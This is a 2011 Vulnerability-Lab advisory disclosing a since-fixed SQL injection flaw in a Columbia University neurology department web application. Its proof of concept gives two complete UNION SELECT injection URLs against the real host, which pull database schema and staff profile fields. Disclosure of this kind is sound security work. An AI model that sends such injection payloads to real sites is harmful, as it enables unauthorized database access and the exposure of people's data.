Medical Center Columbia - SQL Injection Vulnerability

Document Title:
===============
Medical Center Columbia - SQL Injection Vulnerability



Release Date:
=============
2011-08-12


Vulnerability Laboratory ID (VL-ID):
====================================
189


Common Vulnerability Scoring System:
====================================
7.6


Product & Service Introduction:
===============================
The Department of Neurology at Columbia University will be a world leader in the treatment of diseases of the nervous system, and one 
of the leading academic departments of neurology in the United States by continuing its outstanding contributions to patient care, 
teaching, and research. The Department of Neurology at New York-Presbyterian Hospital at Columbia University Medical Center is committed 
to providing high-quality and compassionate care to all our patients and being responsive to the needs of the communities we serve. 

(Copy of the Vendor Homepage: http://neuro.columbia.edu/)


Abstract Advisory Information:
==============================
An anonymous researcher discovered a critical remote SQL Injection Vulnerability on University of Columbia on the Department of Neurologie.


Vulnerability Disclosure Timeline:
==================================
2011-07-05:	Vendor Notification
2011-08-01:	Vendor Response/Feedback
2011-08-05:	Vendor Fix/Patch
2011-08-15:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQL Injection vulnerability is detected on the University of Columbia on the Department of Neurologie Information System.
The vulnerability allows an attacker to infiltrate the application dbms via sql injection over a not secure parameter request.


Vulnerable Module(s):
			                             [+] Profiles - ID


--- SQL Error Logs ---
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/members/profiles.php on line 100


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

Vulnerable Parameter: 
						[+] ?id=


Request Information Schema:
http://web.neuro.columbia.edu/members/profiles.php?id=28%20UNION%20SELECT%201,2,concat_ws%280x3a,table_name,column_name%29,4,5%20FROM%20information_schema.columns--

Request Details:
http://web.neuro.columbia.edu/members/profiles.php?id=28%20UNION%20SELECT%201,2,concat_ws%280x3a,id_x,firstname_x,lastname_x,division_x%29,4,5%20FROM%20bios--

Reference:
http://web.neuro.columbia.edu/members/profiles.php?id=...

			
Pictures:
			../1.png
			../2.png
			../3.png


Solution - Fix & Patch:
=======================
FIXED - 2011-08-10


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory -  N/A  Anonymous


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory